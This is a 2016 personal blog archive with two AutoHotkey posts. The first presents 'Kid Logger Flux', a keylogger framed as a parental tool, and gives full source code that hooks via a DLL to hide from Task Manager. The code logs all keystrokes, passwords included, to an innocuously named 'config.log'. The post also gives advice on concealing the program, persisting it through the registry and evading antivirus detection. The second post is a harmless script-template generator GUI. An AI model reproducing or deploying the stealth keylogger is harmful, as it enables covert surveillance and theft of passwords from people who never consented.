hjf

Wednesday, September 28, 2016

Kid Logger Flux

Kid Logger Flux V1.0 - Key Logger

Yes, I said it. A key logger. You may have heard about these and similar tools, tools that can log everything you type (yes, your passwords too) and, of course, they get a bad reputation for the damage they can cause. But like any tool they can be used for both good and bad. It all depends on the person using the tool and what they intend to do with it. I, for example, need to watch what my kids are doing on my computers. I know we would all love to trust our children, but any logical, experienced parent knows that this is not always possible; even if you are the best parent. Kids are kids. Kids are curious. Kids do bad things without thinking about the consequences. I know all too well, I was a kid with no structure or rules and even if I had rules there's was no way anyone was going to make me do anything. I now all too well how bad kids can be.

There are a few good parental tools out there and I have nothing against them, but I like to make my own tools and I really don't need all the extra stuff they provide, I have other tools I have built to do those things and all I needed was to see what things my kids are typing and so today I bring you Kid Logger Flux V1.0!

Kid Logger Flux is a very small utility that logs all physically typed keys (key logger) and logs them to a text file located in the programs folder. This utility has no network capabilities and will never connect to anything, anywhere. KLF runs hidden from the task manager and can only be killed with the hotkeys: Control+Shift+Alt+F12 or by shutting down your computer. I have made it hidden because kids are becoming a lot smarter than they used to be and if they learn about the Task Manager they could learn how to kill the process and also see where the program is located so they could remove it. KLF should be put in a folder deep somewhere where your kids will not be likely to look. The log file is named config.log so it is vague and might not attract their attention.

Usage

  • Can be ran like any other executable, by double clicking, right-click: Run, or any normal method to start apps at boot. It is not a good idea to put this in the Startup folder in your documents as that might be the first place your kid looks to find it. It is a much better idea to put a startup entry in the registry if you want this to start at boot. More info on starting things at boot with the registry here Startup registry info @ PCTOOLS.com.
  • To end this program while your computer is just use the Hoteys: Control+Shift+Alt+F12.
  • View all logged typed text in the config.log file created in the programs folder where you hid it.

VirusTotal

VirusTotal only gives two detections (which is awesome) and, of course, they are false-positives.
Virus Total Results

Downloads

Script - Source

; 
FileInstall, C:\hyde.dll, hyde.dll, 1
#NoTrayIcon
#SingleInstance, Force

; Variables
SetWorkingDir, %A_ScriptDir%

hMod := DllCall("LoadLibrary", Str, "hyde.dll", Ptr)
If (hMod)
{
 hHook := DllCall("SetWindowsHookEx", Int, 5, Ptr, DllCall("GetProcAddress", Ptr, hMod, AStr, "CBProc", ptr), Ptr, hMod, Ptr, 0, Ptr)
 If (!hHook)
  ExitApp
}
Else
 ExitApp
Loop { 
 Input, b, V T5
 FileAppend, %b%, %A_WorkingDir%\config.log
}
Return

; Hotkeys
^!+F12::ExitApp

Tuesday, September 13, 2016

AHK Script Generator

AHK Script Generator

If you like AutoHotkey and you make a lot of scripts either for fun or for work then you might sometimes have trouble with keeping your scripts organized. You might also have issues with remembering which old script has a function you want to recycle or which includes to include. One solution I have had is to keep templates for specific types of scripts. For example, I might have a game-template.ahk file or gui-template.xml file which I can just copy and paste into a new file and edit as needed. If you do a lot of scripting then this can be time consuming and so I have written a helpful utility to help generate or import custom AutoHotkey script templates.

Today I bring you AHK Script Generator V1.0! With a single click you can create date generated AHK script files with a very basic template in any folder of your choice. With just a few clicks you can import your own templates and then with a single click rename and make many duplicates.

Screenshots

And the code...

; Create pre-generated AutoHotkey script
; with a basic template or import your own
#SingleInstance, Force
; Init
OnExit, Leave

#NoEnv
SendMode Input
SetWorkingDir %A_ScriptDir%

; Vars
innerTitle := "; Header and/or title here"
df := "Segoe UI"
csf := "Lucida Console"
Global asg := "AutoHotkey Script Generator"
about =
(
AutoHotkey Script Generator is a small, but efficient utility to help you create lots of AutoHotkey scripts. You can instantly generate a basic universal script written by me or you can import your own pre-written templates.


)
extend =
(
 AHK Script Generator is, of course, written in the scripting language called AutoHotkey. For more information on the amazing scripting language that I love above all else please visit any of the links below:
)
; Build menus, intial loops and guis here
Menu, Tray, NoStandard
Menu, Tray, Add, Reload, Rld
Menu, Tray, Add, About AHK Script Generator, Abt
Menu, Tray, Add
Menu, Tray, Add, Exit, Leave

Gui, Color, , 0xFFFFE0
Gui, Add, Tab3, w500 h600 vtaba, Create Script|Import Template|About
Gui, Tab, Create Script
cf("14", , "000080", , "5")
Gui, Add, Text, , AutoHotkey Script Name`n(Optional - generated by time and date).
cf(, csf, "00001F")
Gui, Add, Edit, h23 vtitle
cf("14", , "000080", , "5")
Gui, Add, Text, , Script title or starting comments`n(Optional - adds whatever you type). 
cf(, csf, "00001F")
Gui, Add, Edit, 0x1000 r5 vinnerTitle, % innerTitle
cf("14", , "000080", , "5")
Gui, Add, Text, ,Choose your directory`n(Optional - defaults to this programs directory).
cf(, csf, "00001F")
Gui, Add, Edit, vdir h23, % A_WorkingDir
show()
ControlGetPos, xe3b, ye3b, we3b, he3b, Edit3, % asg
b1x := (xe3b + we3b) + 4
cf()
Gui, Add, Button, x%b1x% yp-1 vb1 h24, Select Directory
show()
ControlGetPos, xb1a, yb1a, wb1a, hb1a, Button1, % asg
b1width := (xb1a + wb1a) - 10
If (b1width < 420)
 {
  gap := (420 - b1width)
  e3w := we3b + gap
  b1width := "420"
  GuiControl, Move, dir, w%e3w%
  ControlGetPos, xe3c, ye3c, we3c, he3c, Edit3, % asg
  bgap := (xe3c + we3c) - 7
  GuiControl, Move, b1, x%bgap%
 }
e2width := b1width - 14
fwidth := b1width + 32
show()
GuiControl, Move, innerTitle, w%e2width%
GuiControl, Move, title, w%e2width%
ControlGetPos, xe3a, ye3a, we3a, he3a, Edit3, % asg
b2x := xe3a - 4
b2w := fwidth - 44
cf("24", , , "500", "5")
Gui, Add, Button, x%b2x% w%b2w% y+8 h64, Generate Script
show()
ControlGetPos, xb2a, yb2a, wb2a, hb2a, Button2, % asg
fheight := (yb2a + hb2a) - 8
If (fwidth < 364)
 fwidth := "364"
wtab := fwidth - 18
htab := fheight - 12
GuiControl, Move, taba, w%wtab% h%htab%
Gui, Tab, Import Template
cf("14", , "000080", , "5")
Gui, Add, Text,  vimpt, % "You can import your custom templates here."
         . "`nYou can use any readable text file in any"
         . "`nformat: TXT, AHK, XML etc..."
show()
ControlGetPos, xs4a, ys4a, ws4a, hs4a, Static4, % asg
b4y := ys4a + hs4a
cf(, csf, "00001F")
Gui, Add, Edit, vimp
show()
ControlGetPos, xe4a, ye4a, we4a, he4a, Edit4, % asg
b4ny := (ye4a - ys4a) + 5
e4w := xe4a + we4a
cf()
Gui, Add, Button, x+8 yp  h23 vfile, Select File
show()
ControlGetPos, xb4a, yb4a, wb4a, hb4a, Button3, % asg
b4w := xb4a + wb4a
If (b4w < fwidth)
 {
  bgap := fwidth - b4w
  e4nw := (bgap + we4a) - 16
  GuiControl, Move, imp, w%e4nw%
  xb4nx := (xe4a + e4nw) - 8
  GuiControl, Move, file, x%xb4nx% y%b4ny%
 }
cf("14", , "000080", , "5")
Gui, Add, Text, x%xe4a% y%yb4a% , % "Name your script`n(Optional - will keep templates name)."
cf(, csf, "00001F")
Gui, Add, Edit, viname w%e2width%
show()
ControlGetPos, xe5a, ye5a, we5a, he5a, Edit5, % asg
cf("14", , "000080", , "5")
Gui, Add, Text, x%xe4a% y%ye5a%, Choose your directory`n(Optional - defaults to this programs directory).
cf(, csf, "00001F")
Gui, Add, Edit, vifile, % A_WorkingDir
show()
ControlGetPos, xe6a, ye6a, we6a, he6a, Edit6, % asg
cf()
Gui, Add, Button, gSelect2 x+8 yp-1 h23 v2file, Select Directory
show()
ControlGetPos, xb5a, yb5a, wb5a, hb5a, Button4, % asg
b5w := xb5a + wb5a
b6y := fheight - 82 ; he6a + 8
If (b5w < fwidth)
 {
  b4gap := fwidth - b5w
  e5nw := (b4gap + we6a) - 16
  GuiControl, Move, ifile, w%e5nw%
  xb5nx := (xe6a + e5nw) - 8
  GuiControl, Move, 2file, x%xb5nx%
 }
cf("24", , , "500", "5")
b6x := b2x + 4
Gui, Add, Button, x%b6x% w%b2w% y%b6y% h64 g2gen, Generate Script
Gui, Tab, About
cf("14", , "000080", , "5")
Gui, Add, Text, w%e2width%, % about extend
cf("14", , "Red", , "5")
Gui, Add, Link, , Official Site AutoHotkey.com
Gui, Add, Link,y+0 , Official Forum AutoHotkey Forums
Gui, Add, Link,y+0 , My Blog The Tech Micrcosm
Gui, Show, w%fwidth% h%fheight%, % asg

; End auto execute
Return

; Hotkeys
!r::Gosub, Rld

; Functions
show(){
 Gui, Show, , AutoHotkey Script Generator
}
cf(size := "10", font := "Segoe UI", color := "Black", weight := "400", qty := "0"){
 Gui, Font, s%size% c%color% w%weight% q%qty%, % font 
}
funcCreateScript(dir, com, title){
 If (title = "")
  title := "AutoHotkey_" funcGetTime() ".ahk"
 Else
  title := title ".ahk"
 If (com = "")
  com := "; " title
 fp := dir "\" title
 IfNotExist, % fp
  {
 FileAppend,
(
%com%

`; Init
#NoEnv
SendMode Input
SetWorkingDir `%A_ScriptDir`%

`; Vars


`; Build menus, intial loops and guis here


`; End auto execute
Return

`; Hotkeys


`; Functions


`; Classes


`; Subs


), % fp
 funcCheckFiles(fp, asg)
  }
 Else
  funcExists(fp)
}
funcCheckFiles(file, msgtitle){
 IfExist, % file
  MsgBox, 64, % msgtitle " Info", % "Your script was created successfully at:`n`n" file
 Else
  MsgBox, 16,  % msgtitle " Error", % file . "`nwas not created. If you are trying to save to a folder"
              . "`nyou do not own then you will need to run this program"
              . "`nas adminstrator and try again."  
}

funcGetTime(){
 FormatTime, a,, MM.dd.yyyy_h.mm.ss_tt
 Return a
}
funcExists(file){
 MsgBox, 16, % asg " Error", % "AutoHotkey script file:`n`n" file "`n`nalready exists. Please rename the existing file or try a different name."
}
; Classes
Class Globals {
 SetGlobal(vVar,vVal=""){
  Global
  %vVar% := vVal
  Return
 }
 GetGlobal(vVar){
  Global
  Local vTmp
  vTmp := %vVar%
  Return vTmp
 }
}

; Subs
Abt:
 MsgBox, 64, AHK Script Generator Info, % about "Please refer to the programs About tab for informative web links."
Return
Rld:
 Reload
Return
ButtonSelectDirectory:
 DriveGet, a, list
 Loop, Parse, a
  {
   IfExist, % A_LoopField ":\Users\" A_Username "\Desktop\"
    FileSelectFolder, dir, % A_LoopField ":\", 3
  }
 GuiControl, , dir, % dir
Return
Select2:
 DriveGet, b, list
 Loop, Parse, b
  {
   IfExist, % A_LoopField ":\Users\" A_Username "\Desktop\"
    FileSelectFolder, 2dir, % A_LoopField ":\", 3
  }
 GuiControl, , ifile, % 2dir
Return
ButtonGenerateScript:
 Gui, Submit, NoHide
 funcCreateScript(dir, innerTitle, title)
Return
2gen:
 Gui, Submit, NoHide
 If iname
  name := iname
 Else
  name := fn
 If !2dir
  tdir := A_WorkingDir "\"
 Else
  tdir := 2dir "\"
 finalf := tdir name ".ahk"
 IfNotExist, % finalf
  {
   FileRead, copy,  % file
   FileAppend, %copy%, % finalf
   funcCheckFiles(finalf, asg)
  }
 Else
  funcExists(finalf)
Return
ButtonSelectFile:
 FileSelectFile, file
 SplitPath, file, , , ,fn
 GuiControl, , imp, % file
Return
GuiClose:
Leave:
 ExitApp